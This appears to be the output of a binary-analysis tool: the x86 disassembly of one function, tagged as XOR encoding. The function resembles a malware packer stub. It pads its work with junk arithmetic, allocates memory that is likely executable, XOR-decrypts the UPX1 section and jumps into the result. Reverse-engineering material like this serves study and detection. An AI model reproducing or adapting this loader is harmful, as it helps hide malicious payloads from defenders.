Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf732f687
mov edx, 0x60959b35
sub ecx, 1
mov edx, 0x53972997
popal
and ecx, ecx
and edx, edx
add ecx, ecx
mov eax, 0
mov edx, esi
sub ebx, ecx
add ebx, 0x1aa890c5
sub ecx, 1
mov edi, edx
dec ebx
and ebx, ecx
sub ebx, 0x43ee1d41
mov esi, edi
and ebx, ecx
not ecx
inc eax
mov ecx, ebx
mov ecx, 0x87bfc5ca
dec ebx
cmp eax, 0x100c58e
jne 0xa789ce
not ecx
add ebx, 0x923b77a3
mov ecx, 0xfe4070a6
add ecx, 0x1991b7e8
or edx, ecx
mov edx, 0xa78796
sub esi, 0xc750c10f
mov edi, 0x87373ac1
mov edi, esi
mov ecx, 0xa7898a
sub edi, 0x9e55c111
mov ebx, 0x6b9f9294
and ebx, edi
mov eax, dword [edx]
not edi
sub edi, esi
sub edi, ebx
and eax, 0xff
or esi, edi
add ebx, edi
xor dword [ecx], eax
not ebx
and edi, ebx
add edi, esi
add ecx, 1
inc ebx
dec edi
inc edx
mov ebx, 0xe95ecb58
add edi, edi
not edi
cmp ecx, entry0
jl 0xa78a3d
and esi, esi
and ebx, esi
not edi
not ebx
mov ecx, 0xe6396f6c
not ecx
inc ebx
mov edi, 0xa7898e
mov esi, edx
and ebx, esi
and edx, edx
mov edi, dword [edi]
and esi, ebx
mov esi, 0xd9ea8c91
mov edi, dword [edi]
not ebx
not ecx
sub esp, 4
mov dword [esp], edi
mov edx, ebx
dec edx
add esi, ecx
mov edi, 0xa7898a
or esi, edx
dec ebx
mov edi, dword [edi]
and edx, ecx
not edx
dec esi
mov edi, dword [edi]
add esi, edx
sub ecx, 0xc5368aee
push 0xa78992
and ebx, ecx
or edx, ebx
sub ecx, 1
call edi
and ebx, ebx
inc esi
pop edi
mov edx, 0x28d9dc82
sub edx, 0x8a850596
sub esi, ebx
sub esp, 4
mov dword [esp], 0xa7899f
or edx, ecx
sub ebx, 0x3674b379
push eax
add edx, 1
mov esi, 0xf13daf1a
call edi
sub edx, ecx
sub ecx, edx
push 0x40
sub ecx, 0x9dc7da22
add ecx, 1
push 0x3000
not edx
dec ecx
or esi, esi
sub esp, 4
mov dword [esp], 0x20000ece
mov ebx, esi
mov esi, 0x785959dc
push 0
mov ecx, 0xbbcc067f
mov ebx, ecx
call eax
and esi, ebx
add edx, esi
dec edx
add eax, 0x20000e5b
add ecx, 0xc071f203
and ecx, ebx
mov ebx, edx
mov edi, 0xc2ee1170
not ebx
sub ecx, ebx
mov dword [eax], edi
mov edx, ecx
sub ebx, 0x32818882
add edx, 0x8b42d54f
mov edi, dword [eax]
add ebx, esi
mov edx, 0x3a245cb1
cmp edi, 0xc2ee1170
je 0xa78b89
mov ebx, 0
mov byte [ebx], dl
sub ecx, ebx
mov edx, esi
add edx, ebx
mov ebx, ecx
mov edx, 0x1b6fbdc7
inc edx
sub ecx, edx
add edx, ecx
mov esi, section.UPX1
mov edx, 0xe13b9f83
sub edx, ecx
not ecx
mov eax, 0xa78795
sub ecx, edx
add ecx, edx
mov edx, 0x8b7491d5
mov ebx, 0
inc ecx
mov ecx, 0xb4312894
mov edi, 0xa78796
add edx, ecx
sub ecx, 0x8a0ba751
sub ecx, 0xad086598
lea edi, [edi + ebx]
mov edx, ecx
mov edx, ecx
mov edi, dword [edi]
mov ecx, 0x269f8aa0
sub edx, 0x8b636bd0
mov ecx, 0x5d1c2db5
and edi, 0xff
not ecx
not edx
inc ebx
sub edx, 0x66c1ea00
not edx
cmp ebx, 0x1f4
jne 0xa78c0e
mov ebx, 0
inc edx
dec ecx
add edx, ecx
add edx, ecx
mov ecx, 0xa59bc563
xor dword [esi], edi
add edx, 0x35eed4f
add ecx, 0x2ff06add
add esi, 2
and edx, edx
inc edx
cmp esi, eax
jl 0xa78bc2
mov edx, ecx
sub edx, ecx
mov edx, 0x25d3439f
add edx, 0xc977722c
or edx, ecx
and ecx, ecx
mov edx, section.UPX1
and ebx, ebx
and eax, eax
mov edi, section.UPX1
dec eax
and eax, eax
sub eax, 0x5edd61be
mov esi, 0xa78795
add ebx, 0x4e79e2fb
mov ebx, 0x1436c7f5
mov ebx, 0xaf746eda
mov ecx, 0
and ebx, eax
not eax
mov ebx, 0xd0ca0a02
mov cl, byte [edi]
sub ebx, eax
or eax, eax
mov byte [edx], cl
dec eax
sub ebx, eax
inc edx
sub ebx, eax
sub eax, 0x4af4bbb0
mov ebx, 0xd3465021
add edi, 2
mov eax, ebx
add ebx, 0x10b5b90a
or ebx, ebx
cmp edi, esi
jle 0xa78c85
add eax, eax
add ebx, eax
mov eax, 0x997079b9
sub ecx, 1
add ecx, 0xe14a6a06
push 0x8dc6a0
sub edx, 0xe4bcc1a0
not ecx
ret